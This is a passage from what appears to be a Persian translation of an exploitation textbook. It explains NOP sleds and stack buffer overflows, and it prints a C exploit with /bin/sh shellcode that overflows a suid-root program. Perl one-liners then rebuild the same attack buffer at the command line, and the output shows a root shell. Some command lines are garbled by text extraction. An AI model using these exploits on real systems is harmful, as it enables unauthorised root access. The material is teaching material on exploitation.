‫‪ 31‬ﻋﺒﺎرت ﺳﻮرﺗﻤﻪ ‪ ،NOP‬اﺻﻄﻼﺣﺎ ﺑﻪ آراﯾﻪ ای ﺑﺰرگ از دﺳﺘﻮرات ‪ NOP‬اﻃﻼق ﻣﯽ ﺷﻮد‪.‬‬


‫‪ 32‬ﺗﭙﻪ ای از ﺑﺮف را ﻓﺮض ﮐﻨﯿﺪ ﮐﻪ ﻣﻘــﺼﺪ ﯾﺎ ﻫﺪف ﻣﺎ ﭘﺎﺋﯿﻦ ﺗﭙﻪ اﺳﺖ‪ .‬ﻣــﻬﻢ ﻧﯿﺴﺖ ﮐﻪ در ﮐــﺠﺎی ﺷﯿﺐ ﺗﭙﻪ ﻗﺮار دارﯾﺪ‪ ،‬ﭼﺮا ﮐﻪ در ﻫﺮ ﻧﻘﻄـﻪ ای ﮐـﻪ ﺑﺎﺷـﯿﺪ‬
‫ﻣﯽ ﺗﻮاﻧﯿﺪ ﺑﺎ ﯾﮏ ﺳﻮرﺗﻤﻪ ﺑﻪ ﭘﺎﺋﯿﻦ ﺗﭙﻪ ﺑﻠﻐﺰﯾﺪ‪ .‬اﯾﻦ ﻣﺴﺌﻠﻪ را ﺑﻪ ﻋﻨﻮان ﺳﻤﺒﻞ ﺑﺮای ﮐﺎرﺑﺮد ‪ NOP‬در دﻧﯿﺎی اﮐﺴﭙﻠﻮﯾﺘﯿﻨﮓ ﻓﺮض ﮐﻨﯿﺪ‪ ،‬ﻟـﺬا درک ﺑﺮﺧـﯽ اﺳـﺎﻣﯽ‬
‫ﻣﺎﻧﻨﺪ ﺳﻮرﺗﻤﻪ‪ ،‬ﻟﻐﺰﯾﺪن و ‪ ...‬ﻧﯿﺰ ﺑﺎ داﻧﺴﺘﻦ اﯾﻦ ﺗﺸﺒﯿﻪ ﻣﻤﮑﻦ اﺳﺖ‪.‬‬
‫‪ 33‬اﮔﺮ ﺗﻌﺪاد زﯾﺎدی از ﯾﮏ ﻣﺎﻫﯿﺖ اوﻟﯿﻪ )ﻣﺜﻞ آدرس ﺑﺮﮔﺸﺖ( در ﯾﮏ ﻣﺎﻫﯿﺖ ﺛﺎﻧﻮﯾﻪ )ﻣﺜﻞ ﯾﮏ ﺑﺎﻓﺮ( وﺟﻮد داﺷﺘﻪ ﺑﺎﺷﺪ‪ ،‬ﻣﺎﻫﯿﺖ اول ﺳﺒﺐ ﻏﺮﻗﻪ ﺳﺎزی ﻣﺎﻫﯿﺖ‬
‫دوم ﻣﯽ ﺷﻮد‪ .‬در اﯾﻦ ﺻﻮرت ﻣﺎﻫﯿﺖ ﻏﺮﻗﻪ ﺳﺎزی ﺷﺪه )ﻣﺎﻫﯿﺖ دوم( را اﺻﻄﻼﺣﺎ ﺷﻨﺎور ﻣﯽ ﻧﺎﻣﯿﻢ‪.‬‬
‫‪27‬‬
exploit.c code
#include <stdlib.h>

char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

unsigned long sp(void) // This is just a little function


{ __asm__("movl %esp, %eax");} // used to return the stack pointer

int main(int argc, char *argv[])


{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;

offset = 0; // Use an offset of 0


esp = sp(); // Put the current stack pointer into esp
ret = esp - offset; // We want to overwrite the ret address

printf("Stack pointer (ESP) : 0x%x\n", esp);


printf(" Offset from ESP : 0x%x\n", offset);
printf("Desired Return Addr : 0x%x\n", ret);

// Allocate 600 bytes for buffer (on the heap)


buffer = malloc(600);

// Fill the entire buffer with the desired ret address


ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < 600; i+=4)
{ *(addr_ptr++) = ret; }

// Fill the first 200 bytes of the buffer with NOP instructions
for(i=0; i < 200; i++)
{ buffer[i] = '\x90'; }

// Put the shellcode after the NOP sled


ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }

// End the string


buffer[600-1] = 0;

// Now call the program ./vuln with our crafted buffer as its argument
execl("./vuln", "vuln", buffer, 0);

// Free the buffer memory


free(buffer);

return 0;
}
:‫در زﯾﺮ ﻧﺘﯿﺠﻪ ﮐﺎﻣﭙﺎﯾﻞ و اﺟﺮای ﮐﺪ اﮐﺴﭙﻠﻮﯾﺖ ﻣﺸﻬﻮد اﺳﺖ‬
$ gcc -o exploit exploit.c
$ ./exploit
Stack pointer (ESP) : 0xbffff978
Offset from ESP : 0x0
Desired Return Addr : 0xbffff978
sh-2.05a# whoami
root
sh-2.05a#

28
‫ﻇﺎﻫﺮا ﮐﺪ ﮐﺎر ﮐﺮده اﺳﺖ! آدرس ﺑﺮﮔﺸﺖ در ﻗﺎب ﭘﺸﺘﻪ ﺑﺎ ﻣﻘﺪار ‪ 0xbffff978‬ﺟﺎﯾﻨﻮﯾﺴﯽ ﺷﺪه اﺳﺖ ﮐﻪ اﺗﻔﺎﻗﺎ آدرﺳﯽ‬
‫در ﺳﻮرﺗﻤﻪ ‪ NOP‬اﺳﺖ‪ .‬اﮔﺮﭼﻪ ﺑﺮﻧﺎﻣﻪ اﺻﻠﯽ ﻓﻘﻂ ﺑﻪ ﻣﻨﻈﻮر ﮐﭙﯽ ﮐﺮدن ﺗﮑﻪ ای از داده و ﺳـﭙﺲ ﺧـﺮوج ﻃﺮاﺣـﯽ ﺷـﺪه‬
‫ﺑﻮد‪ ،‬اﻣﺎ ﭼﻮن ﺑﺮﻧﺎﻣﻪ ﺑﻪ ﺻﻮرت ‪ suid root‬ﺑﻮد و ﺷﻞ‪-‬ﮐﺪ ﺟﻬﺖ ﺗﻮﻟﯿﺪ ﯾﮏ ﭘﻮﺳﺘﻪ ﮐﺎرﺑﺮی ﻃﺮاﺣﯽ ﺷﺪه ﺑﻮد‪ ،‬ﻟﺬا ﺑﺮﻧﺎﻣـﻪ‬
‫آﺳﯿﺐ ﭘﺬﯾﺮ ﺷﻞ‪-‬ﮐﺪ را ﺑﻪ ﻋﻨﻮان ﮐﺎرﺑﺮ رﯾﺸﻪ اﺟﺮا ﻣﯽ ﮐﻨﺪ‪.‬‬

‫‪ .2,7,1‬اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﺑﺪون ﮐﺪ اﮐﺴﭙﻠﻮﯾﺖ‬

‫ﻧﻮﺷﺘﻦ ﯾﮏ اﮐﺴﭙﻠﻮﯾﺖ ﻣﺴﻠﻤﺎ ﻧﺘﯿﺠﻪ ﻣﻄﻠﻮب را ﺑﺮ آورده ﻣﯽ ﺳﺎزد اﻣﺎ ﯾﮏ ﺣﺎﺋﻞ ﺑﯿﻦ ﻫﮑﺮ و ﺑﺮﻧﺎﻣـﻪ آﺳـﯿﺐ ﭘـﺬﯾﺮ ﻗـﺮار‬
‫ﻣﯽ دﻫﺪ‪ .‬ﮐﺎﻣﭙﺎﯾﻠﺮ در راﺑﻄﻪ ﺑﺎ ﺟﻨﺒﻪ ﻫﺎی ﺧﺎﺻﯽ از اﮐﺴﭙﻠﻮﯾﺖ ﻣﺮاﻗﺐ اﺳﺖ و ﭼﻮن ﻧﺎﭼﺎر ﺑﻪ ﺗﻄﺒﯿﻖ اﮐﺴﭙﻠﻮﯾﺖ ﺑﺎ ﺑﺎ ﺗﻐﯿﯿﺮ‬
‫دادن آن ﻫﺴﺘﯿﻢ‪ ،‬ﻟﺬا اﯾﻦ ﻣﺴﺌﻠﻪ ﺳﻄﺢ ﺧﺎﺻﯽ از ﺗﻘﺎﺑﻞ را از ﻓﺮآﯾﻨـﺪ اﮐـﺴﭙﻠﻮﯾﺖ ﮐـﺮدن ﺑﺮﻧﺎﻣـﻪ ﺣـﺬف ﻣـﯽ ﮐﻨـﺪ‪ .‬ﺑـﺮای‬
‫درﯾﺎﻓﺖ درﮐﯽ ﻋﻤﯿﻖ از اﯾﻦ ﻣﻮﺿﻮع ﮐﻪ در اﮐﺘﺸﺎف و آزﻣﺎﯾﺶ آﺳﯿﺐ ﭘﺬﯾﺮی ﻫﺎ‪ ،‬ﻣﻮﺿﻮع رﯾﺸﻪ دار و ﻣﻬﻤﯽ اﺳﺖ‪ ،‬ﻧﯿـﺎز‬
‫ﺑﻪ ﻗﺎﺑﻠﯿﺘﯽ اﺳﺖ ﺗﺎ ﭼﯿﺰﻫﺎی ﻣﺨﺘﻠﻒ را ﺑﻪ ﺳﺮﻋﺖ ﺑﺮرﺳﯽ ﮐﻨﺪ‪ .‬دﺳﺘﻮر ‪ print‬در ﭘﺮل و ﻗﺎﺑﻠﯿﺖ ﺟﺎﻧﺸﯿﻨﯽ دﺳـﺘﻮر ﺑﻮﺳـﯿﻠﻪ‬
‫اﺳﺘﻔﺎده از ﮐﺎراﮐﺘﺮﻫﺎی ﻧﻘﻞ ﻗﻮل ﺗﮑﯽ ) ' ( در ﭘﻮﺳﺘﻪ ﻓﺮﻣﺎن ‪ ،bash‬ﺗﻤﺎم آن ﭼﯿﺰی اﺳـﺖ ﮐـﻪ ﻣـﺎ در اﮐـﺴﭙﻠﻮﯾﺖ ﮐـﺮدن‬
‫ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ ﻧﯿﺎز دارﯾﻢ‪.‬‬
‫ﭘﺮل ﯾﮏ زﺑﺎن ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﻣﻔﺴﺮی ﯾﺎ ﺗﻔﺴﯿﺮی )‪ (interpreting‬اﺳﺖ ﮐﻪ دارای ﯾـﮏ دﺳـﺘﻮر ‪ print‬اﺳـﺖ‪ .‬ﮐـﺎرﺑﺮد‬
‫ﺧﺎﺻﯽ از اﯾﻦ دﺳﺘﻮر در اﯾﺠﺎد ﺗﻮاﻟﯽ ﻫﺎی ﺑﺰرگ از ﮐﺎراﮐﺘﺮﻫﺎ اﺳﺖ‪ .‬ﺑﺎ اﺳﺘﻔﺎده از ﺳﻮﺋﯿﭻ ‪) -e‬ﻣﺨﻔﻒ ﻋﺒﺎرت ‪(execute‬‬
‫ﻣﯽ ﺗﻮان از ﭘﺮل ﺑﻪ ﻣﻨﻈﻮر اﺟﺮای دﺳﺘﻮرات در ﺧﻂ ﻓﺮﻣﺎن اﺳﺘﻔﺎده ﮐﺮد‪.‬‬
‫';‪$ perl -e 'print "A" x 20‬‬
‫‪AAAAAAAAAAAAAAAAAAAA‬‬
‫اﯾﻦ دﺳﺘﻮر ﺳﺒﺐ اﺟﺮای دﺳﺘﻮرات ﻣﻮﺟﻮد در ﻋﻼﻣﺖ ﻫﺎی ﻧﻘﻞ ﻗﻮل ﺗﮑﯽ ) ' ( ﻣﯽ ﺷﻮد ﮐﻪ در اﯾـﻦ ﻣـﻮرد دﺳـﺘﻮر واﺣـﺪِ‬
‫’;‪ ‘print "A" x 20‬اﺳﺖ ﮐﻪ ﮐﺎراﮐﺘﺮ ‪ A‬را ‪ 20‬ﺑﺎر ﭼﺎپ ﻣﯽ ﮐﻨﺪ‪.‬‬
‫ﻫﺮ ﮐﺎراﮐﺘﺮ از ﻗﺒﯿﻞ ﮐﺎراﮐﺘﺮﻫـﺎی ﻏﯿﺮﻗﺎﺑـﻞ ﭼـﺎپ را ﻣـﯽ ﺗـﻮان ﺑـﺎ اﺳـﺘﻔﺎده از ‪ \x##‬ﭼـﺎپ ﮐـﺮد ﮐـﻪ در آن ‪ ##‬ﻣﻌـﺎدل‬
‫ﻫﮕﺰادﺳﯿﻤﺎل آن ﮐﺎراﮐﺘﺮ اﺳﺖ‪ .‬در ﻣﺜﺎل زﯾﺮ از اﯾﻦ ﻧﺤﻮه ﺑـﺮای ﭼـﺎپ ﮐـﺎراﮐﺘﺮ ‪) A‬ﮐـﻪ ﻣﻘـﺪار ﻫﮕﺰادﺳـﯿﻤﺎل ‪ 0x41‬را‬
‫دارد( اﺳﺘﻔﺎده ﺷﺪه اﺳﺖ‪.‬‬
‫';‪$ perl -e 'print "\x41" x 20‬‬
‫‪AAAAAAAAAAAAAAAAAAAA‬‬
‫ﺑﻌﻼوه ﻋﻤﻞ اﻟﺤﺎق رﺷﺘﻪ را ﻣﯽ ﺗﻮان ﺑﺎ ﮐﺎراﮐﺘﺮ ﻧﻘﻄﻪ )‪ (period‬در ﭘﺮل اﻧﺠﺎم داد‪ .‬اﯾﻦ ﻣﻮرد ﺑﻪ ﻫﻨﮕـﺎم ﺑـﻪ ﺻـﻒ ﮐـﺮدن‬
‫ﭼﻨﺪ آدرس ﺑﺎ ﯾﮑﺪﯾﮕﺮ ﻣﻔﯿﺪ اﺳﺖ‪.‬‬
‫';"‪$ perl -e 'print "A"x20 . "BCD" . "\x61\x66\x67\x69"x2 . "Z‬‬
‫‪AAAAAAAAAAAAAAAAAAAABCDafgiafgiZ‬‬
‫ﻋﻤﻞ ﺟﺎﻧﺸﯿﻨﯽ دﺳﺘﻮر ﺑﺎ ﮐﺎراﮐﺘﺮ ﻧﻘﻞ ﻗﻮل ﺗﮑﯽ ) ' ( اﻧﺠﺎم ﻣﯽ ﺷﻮد و ﻫﺮ ﭼﯿﺰ ﻣﻮﺟﻮد ﺑﯿﻦ دو ﮐﺎراﮐﺘﺮ ﻧﻘﻞ ﻗﻮل ﺗﮑﯽ ﻋﯿﻨـﺎ‬
‫اﺟﺮا ﺷﺪه و ﺧﺮوﺟﯽ ﺑﻪ ﺟﺎی آن ﻗﺮار ﻣﯽ ﮔﯿﺮد‪ .‬در زﯾﺮ دو ﻣﺜﺎل از اﯾﻦ ﻣﻮرد را ﻣﻼﺣﻈﻪ ﻣﯽ ﮐﻨﯿﺪ‪:‬‬
‫'';"‪$ 'perl -e 'print "uname‬‬
‫‪Linux‬‬
‫‪$ una'perl -e 'print "m";''e‬‬
‫‪Linux‬‬
‫‪$‬‬
‫در ﻫﺮ ﻣﻮرد ﺧﺮوﺟﯽ دﺳﺘﻮر ﻣﻮﺟﻮد ﺑﯿﻦ ﻋﻼﻣﺎت ﻧﻘﻞ ﻗـﻮل‪ ،‬ﺑـﺎ ﺧـﻮد دﺳـﺘﻮر ﺟـﺎﯾﮕﺰﯾﻦ ﺷـﺪه و دﺳـﺘﻮر ‪ uname‬اﺟـﺮا‬
‫ﮔﺮدﯾﺪه اﺳﺖ‪ .‬ﺗﻤﺎم ﮐﺎری ﮐﻪ اﮐﺴﭙﻠﻮﯾﺖ در ﻋﻤﻞ اﻧﺠﺎم ﻣﯽ دﻫﺪ درﯾﺎﻓﺖ اﺷﺎرﮔﺮ ﭘﺸﺘﻪ‪ ،‬ﺷﻨﺎور ﮐﺮدن ﯾﮏ ﺑﺎﻓﺮ و ﺳـﭙﺲ‬
‫دادن آن ﺑﻪ ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ اﺳﺖ‪ .‬ﺑﺎ ﭘﺮل و ﻣﺨﺼﻮﺻﺎ ﻗﺎﺑﻠﯿﺖ ﺟﺎﻧﺸﯿﻨﯽ دﺳﺘﻮر و ﯾﮏ آدرس ﺑﺮﮔﺸﺖ ﺗﻘﺮﯾﺒـﯽ‪ ،‬ﮐـﺎر‬
‫اﮐﺴﭙﻠﻮﯾﺖ را ﻣﯽ ﺗﻮان ﺑﻪ ﺻﻮرت دﺳﺘﯽ ﺑﺎ ﺧﻂ ﻓﺮﻣﺎن اﻧﺠﺎم داد‪ .‬اﯾﻦ ﮐﺎر ﺑـﺎ اﺟـﺮای ﺑﺮﻧﺎﻣـﻪ آﺳـﯿﺐ ﭘـﺬﯾﺮ و اﺳـﺘﻔﺎده از‬
‫ﻋﻼﻣﺎت ﻧﻘﻞ ﻗﻮل ﺟﻬﺖ ﺟﺎﯾﮕﺰﯾﻨﯽ ﯾﮏ ﺑﺎﻓﺮ ﺷﻨﺎور ﺑﺠﺎی اوﻟﯿﻦ آرﮔﻮﻣﺎن اﻧﺠﺎم ﻣﯽ ﺷﻮد‪.‬‬
‫‪29‬‬
‫اﺑﺘﺪا ﺑﺎﯾﺪ ﺳﻮرﺗﻤﻪ ‪ NOP‬را اﯾﺠﺎد ﮐﺮد ﮐﻪ در ﮐﺪ ‪ exploit.c‬ﻣﻘﺪار ‪ 200‬ﺑﺎﯾﺖ ﺑﺮای آن اﺳﺘﻔﺎده ﺷﺪه ﺑـﻮد‪ .‬اﯾـﻦ ﻣﻘـﺪار‬
‫ﮐﺎﻓﯽ ﺑﻪ ﻧﻈﺮ ﻣﯽ رﺳﺪ‪ ،‬ﭼﺮا ﮐﻪ ﻣﺤﺪوده ﺣﺪس ﻣﯽ ﺗﻮاﻧﺪ ﺗﺎ ‪ 200‬ﺑﺎﯾﺖ ﻣﺘﻔﺎوت ﺑﺎﺷﺪ‪ .‬اﯾـﻦ ﻣﺤـﺪوده ﮐـﻪ ﻓـﻀﺎی ﺣـﺪس‬
‫ﻧﺎﻣﯿﺪه ﻣﯽ ﺷﻮد در ﭼﻨﯿﻦ ﺷﺮاﯾﻄﯽ از اﻫﻤﯿﺖ ﺑﯿﺸﺘﺮی ﺑﺮﺧﻮردار اﺳﺖ‪ ،‬ﭼﻮن آدرس دﻗﯿﻖ اﺷﺎرﮔﺮ ﭘـﺸﺘﻪ ﺷـﻨﺎﺧﺘﻪ ﺷـﺪه‬
‫ﻧﯿﺴﺖ‪ .‬ﺑﺎ ﺑﻪ ﯾﺎد داﺷﺘﻦ ﻣﻌﺎدل دﺳﺘﻮر ‪ NOP‬در ﻫﮕﺰادﺳﯿﻤﺎل ﯾﻌﻨﯽ ‪ 0x90‬ﻣﯽ ﺗﻮان ﺳﻮرﺗﻤﻪ را ﺑﺎ اﺳﺘﻔﺎده از ﯾﮏ ﺟﻔـﺖ‬
‫ﻋﻼﻣﺖ ﻧﻘﻞ ﻗﻮل و ﭘﺮل اﯾﺠﺎد ﮐﺮد‪ ،‬ﮐﻪ در ﻣﺸﻬﻮد اﺳﺖ‪:‬‬
‫'';‪$ ./vuln 'perl -e 'print "\x90"x200‬‬
‫ﺳﭙﺲ ﺷﻞ‪-‬ﮐﺪ ﺑﺎﯾﺪ ﺑﻪ ﺳﻮرﺗﻤﻪ ‪ NOP‬اﺿﺎﻓﻪ ﺷﻮد‪ .‬داﺷﺘﻦ ﺷﻞ‪-‬ﮐﺪ در ﺟﺎﯾﯽ درون ﻓﺎﯾﻞ ﮐﺎﻣﻼ ﻣﻔﯿﺪ اﺳﺖ‪ ،‬ﻟﺬا ﻗﺪم ﺑﻌﺪی‬
‫ﻗﺮار دادن ﺷـﻞ‪-‬ﮐـﺪ درون ﯾـﮏ ﻓﺎﯾـﻞ ﺧﻮاﻫـﺪ ﺑـﻮد‪ .‬ﭼـﻮن ﺗﻤـﺎم ﺑﺎﯾـﺖ ﻫـﺎ در اﺑﺘـﺪای اﮐـﺴﭙﻠﻮﯾﺖ از ﻗﺒـﻞ ﺑـﻪ ﺻـﻮرت‬
‫ﻫﮕﺰادﺳﯿﻤﺎل ﻧﻮﺷﺘﻪ ﺷﺪه اﻧﺪ‪ ،‬ﻟﺬا ﻓﻘﻂ ﮐﺎﻓﯽ اﺳﺖ اﯾﻦ ﺑﺎﯾﺖ ﻫﺎ را در ﯾﮏ ﻓﺎﯾﻞ ﺑﻨﻮﯾﺴﯿﻢ‪ .‬اﯾـﻦ ﮐـﺎر را ﻣـﯽ ﺗـﻮان ﺑـﺎ ﯾـﮏ‬
‫‪ Hex Editor‬ﯾﺎ دﺳﺘﻮر ‪ print‬در ﭘﺮل )ﺑﺎ ﻫﺪاﯾﺖ ﺧﺮوﺟﯽ ﺑﻪ ﯾﮏ ﻓﺎﯾﻞ( اﻧﺠﺎم داد‪ .‬در زﯾﺮ اﯾﻦ ﻣﻄﻠﺐ ﻧـﺸﺎن داده ﺷـﺪه‬
‫اﺳﺖ‪:‬‬
‫‪$ perl -e 'print‬‬
‫‪"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x‬‬
‫\‪89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff‬‬
‫‪xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";' > shellcode‬‬
‫ﭘﺲ از ﭘﺎﯾﺎن اﯾﻦ دﺳﺘﻮر ﻣﯽ ﺗﻮان ﺷﻞ‪-‬ﮐﺪ را در ﻓﺎﯾﻞ "‪ "shellcode‬ﯾﺎﻓﺖ‪ .‬اﮐﻨـﻮن ﺑـﺎ ﯾـﮏ ﺟﻔـﺖ ﻋﻼﻣـﺖ ﻧﻘـﻞ ﻗـﻮل و‬
‫دﺳﺘﻮر ‪ cat‬ﻣﯽ ﺗﻮان ﺷﻞ‪-‬ﮐﺪ را ﺑﻪ ﻫﺮ ﺟﺎﯾﯽ اﺿﺎﻓﻪ ﮐﺮد‪ .‬ﺑﺎ اﺳﺘﻔﺎده از ﻫﻤﯿﻦ روش ﻣـﯽ ﺗـﻮان ﺷـﻞ‪-‬ﮐـﺪ را ﺑـﻪ ﺳـﻮرﺗﻤﻪ‬
‫‪ NOP‬اﺿﺎﻓﻪ ﮐﺮد‪:‬‬
‫'‪$ ./vuln 'perl -e 'print "\x90"x200;'"cat shellcode‬‬
‫ﺳﭙﺲ ﺑﺎﯾﺪ آدرس ﺑﺮﮔﺸﺖ )ﺑﺎ ﭼﻨﺪﯾﻦ ﺑﺎر ﺗﮑﺮار( را اﺿﺎﻓﻪ ﮐﺮد‪ ،‬اﻣﺎ ﻇﺎﻫﺮا اﺷﺘﺒﺎﻫﯽ در ﺑﺎﻓﺮ اﮐـﺴﭙﻠﻮﯾﺖ رخ داده اﺳـﺖ‪.‬‬
‫ﭼﺮا ﮐﻪ در ﮐﺪ ‪ ،exploit.c‬ﺑﺎﻓﺮ اﺑﺘﺪا ﺑﺎ آدرس ﺑﺮﮔﺸﺖ ﭘﺮ ﺷﺪ‪ .‬ﭼﻮن آدرس ﺑﺮﮔﺸﺖ ﺣﺎوی ‪ 4‬ﺑﺎﯾﺖ اﺳﺖ‪ ،‬ﻟﺬا اﯾﻦ ﮐـﺎر‬
‫ﺗﻨﻬﺎ ﺟﻬﺖ ﺣﺼﻮل اﻃﻤﯿﻨﺎن از ﻗﺮار ﮔﺮﻓﺘﻦ ﺻﺤﯿﺢ آدرس ﺑﺮﮔﺸﺖ در ﯾﮏ ردﯾﻒ اﻧﺠـﺎم ﺷـﺪ )ﭼﻬـﺎر ﺑـﺎﯾﺘﯽ ﻫـﺎ ﮐﺎﻣـﻞ و‬
‫درﺳﺖ وﺟﻮد داﺷﺘﻪ ﺑﺎﺷﻨﺪ(‪ .‬اﻣﺎ ﺑﻪ ﻫﻨﮕﺎم ﺷﻨﺎور ﮐﺮدن ﺑﺎﻓﺮﻫﺎ در ﺧﻂ ﻓﺮﻣﺎن ﺑﺎﯾﺪ ﺗﺮﺗﯿﺐ و در ﯾﮏ ردﯾﻒ ﺑﻮدن ﺑﺎﯾﺖ ﻫﺎ‬
‫را ﺑﻪ ﺻﻮرت دﺳﺘﯽ ﺑﺮرﺳﯽ و رﻓﻊ ﮐﺮد‪.‬‬
‫ﻧﮑﺘﻪ دﯾﮕﺮ اﯾﻨﮑﻪ ﻣﺠﻤﻮع ﺗﻌﺪاد ﺑﺎﯾﺖ ﻫﺎی ﺳﻮرﺗﻤﻪ ‪ NOP‬و ﺷﻞ‪-‬ﮐﺪ ﺑﺎﯾﺪ ﺑﻪ ‪ 4‬ﺑﺨﺶ ﭘﺬﯾﺮ ﺑﺎﺷـﺪ‪ .‬اﻧـﺪازه ﺷـﻞ‪-‬ﮐـﺪ ‪64‬‬
‫ﺑﺎﯾﺖ و ﺳﻮرﺗﻤﻪ ‪ 200 NOP‬ﺑﺎﯾﺖ و ﺟﻤﻊ آﻧﻬﺎ ‪ 246‬ﺑﺎﯾﺖ اﺳﺖ‪ .‬واﺿﺢ اﺳـﺖ ﮐـﻪ ‪ 246‬ﺑـﺮ ‪ 4‬ﺑﺨـﺶ ﭘـﺬﯾﺮ ﻧﯿـﺴﺖ و ‪2‬‬
‫ﺑﺎﯾﺖ ﮐﻢ دارد‪ ،‬ﻟﺬا ﺑﻪ ردﯾﻒ ﺑﻮدن آدرس ﺑﺮﮔﺸﺖ ﺗﮑﺮار ﺷﺪه‪ ،‬ﺑﺎ ﻓﻘﺪان اﯾﻦ ‪ 2‬ﺑﺎﯾﺖ ﻧـﺎﻗﺺ اﺳـﺖ‪ ،‬ﻟـﺬا روﻧـﺪ اﺟـﺮا ﺑـﻪ‬
‫ﻣﮑﺎن ﻏﯿﺮﻗﺎﺑﻞ اﻧﺘﻈﺎری ﺑﺮﮔﺸﺖ ﺧﻮاﻫﺪ ﯾﺎﻓﺖ‪.‬‬

‫ﺑﺮای ﺑﻪ ردﯾﻒ در آوردن ﻗﺴﻤﺖ آدرس ﻫﺎی ﺑﺮﮔﺸﺖ ﺗﮑﺮار ﺷﺪه در ﺑـﺎﻓﺮ ﺑﺎﯾـﺪ دو ﺑﺎﯾـﺖ اﺿـﺎﻓﯽ ﺑـﻪ ﺳـﻮرﺗﻤﻪ ‪NOP‬‬
‫اﺿﺎﻓﻪ ﮐﻨﯿﻢ‪:‬‬

‫‪30‬‬
‫'‪$ ./vuln 'perl -e 'print "A"x202;'"cat shellcode‬‬
‫اﮐﻨﻮن ﮐﻪ اوﻟﯿﻦ ﻗﺴﻤﺖ ﺑﺎﻓﺮ ﺑﻪ درﺳﺘﯽ ردﯾﻒ ﺷﺪه اﺳﺖ‪ ،‬ﺗﻨﻬﺎ ﮐﺎﻓﯿﺴﺖ ﮐﻪ آدرس ﺑﺮﮔﺸﺖ ﺗﮑﺮار ﺷﺪه را ﺑﻪ اﻧﺘﻬﺎی آن‬
‫اﺿﺎﻓﻪ ﮐﻨﯿﻢ‪ .‬ﭼﻮن آﺧﺮﯾﻦ ﻣﮑﺎن اﺷﺎرﮔﺮ ﭘﺸﺘﻪ ‪ 0xbffff978‬ﺑﻮد‪ ،‬ﻟﺬا آدرس ﺑﺮﮔﺸﺖ ﺗﻘﺮﯾﺒﯽ ﻣﻨﺎﺳـﺒﯽ را ﻣـﯽ ﺗـﻮان ﺑـﻪ‬
‫دﺳﺖ آورد‪ .‬اﯾﻦ آدرس ﺑﺮﮔﺸﺖ را ﻣﯽ ﺗﻮان ﺑﺎ اﺳﺘﻔﺎده از "‪ "\x78\xf9\xff\bf‬ﭼﺎپ ﮐﺮد‪ .‬ﺑﻪ ﻋﻠـﺖ ﺗﺮﺗﯿـﺐ ﺑﺎﯾـﺖ در‬
‫ﻣﻌﻤﺎری ‪ x86‬ﺑﺮ اﺳﺎس ﻣﺪل ‪ ،Little Endian‬ﺑﺎﯾﺖ ﻫﺎ ﻣﻌﮑـﻮس ﻣـﯽ ﺷـﻮﻧﺪ‪ .‬از اﯾـﻦ ﻧﮑﺘـﻪ ﺑـﻪ ﻫﻨﮕـﺎم اﺳـﺘﻔﺎده از ﮐـﺪ‬
‫اﮐﺴﭙﻠﻮﯾﺘﯽ ﮐﻪ ﻣﺮﺗﺐ ﺳﺎزی را ﺑﻪ ﺻﻮرت ﺧﻮدﮐﺎر اﻧﺠﺎم ﻣﯽ دﻫﺪ ﭼﺸﻢ ﭘﻮﺷﯽ ﻣﯽ ﺷﻮد‪.‬‬
‫ﭼﻮن اﻧﺪازه ﻧﻬﺎﯾﯽ ﺑﺎﻓﺮ ‪ 600‬ﺑﺎﯾﺖ اﺳﺖ و ﺳﻮرﺗﻤﻪ ‪ NOP‬و ﺷﻞ‪-‬ﮐﺪ ﺟﻤﻌﺎ ‪ 248‬ﺑﺎﯾﺖ آﻧﺮا اﺷﻐﺎل ﻣـﯽ ﮐﻨﻨـﺪ‪ ،‬ﺑـﺎ اﻧـﺪﮐﯽ‬
‫ﺣﺴﺎب رﯾﺎﺿﯽ ﺗﻌﺪاد ﺗﮑﺮار آدرس ﺑﺮﮔﺸﺖ ﺑﺮاﺑﺮ ﺑﺎ ‪ 88‬ﺑﻪ دﺳﺖ ﻣﯽ آﯾﺪ‪ .34‬اﯾﻦ ﮐﺎر را ﻣﯽ ﺗﻮان ﺑﺎ ﯾﮏ زوج ﻧﻘـﻞ ﻗـﻮل‬
‫اﺿﺎﻓﯽ اﻧﺠﺎم داد‪:‬‬
‫‪$ ./vuln 'perl -e 'print "\x90"x202;'"cat shellcode"perl -e 'print‬‬
‫'';‪"\x78\xf9\xff\xbf"x88‬‬
‫‪sh-2.05a# whoami‬‬
‫‪root‬‬
‫‪sh-2.05a#‬‬
‫اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﺑﺮﻧﺎﻣﻪ در ﺳﻄﺢِ ﺧﻂ ﻓﺮﻣﺎن ﮐﻨﺘـﺮل و اﻧﻌﻄـﺎف ﺑﯿـﺸﺘﺮی را در ﺗﮑﻨﯿـﮏ ﻫـﺎﯾﯽ اراﺋـﻪ ﻣـﯽ دﻫـﺪ ﮐـﻪ ﺑـﺎ‬
‫آزﻣﺎﯾﺶ ﯾﺎ آزﻣﻮن و ﺧﻄﺎ ﺑﻪ ﭘﯿﺶ ﻣﯿﺮوﻧﺪ‪ .‬ﺑﺮای ﻣﺜﺎل اﯾﻨﮑﻪ ﺗﻤﺎم ‪ 600‬ﺑﺎﯾﺖ ﻋﻤﻼ ﺑـﺮای اﮐـﺴﭙﻠﻮﯾﺖ ﺑﺮﻧﺎﻣـﻪ ﻧﯿـﺎز ﺑﺎﺷـﻨﺪ‬
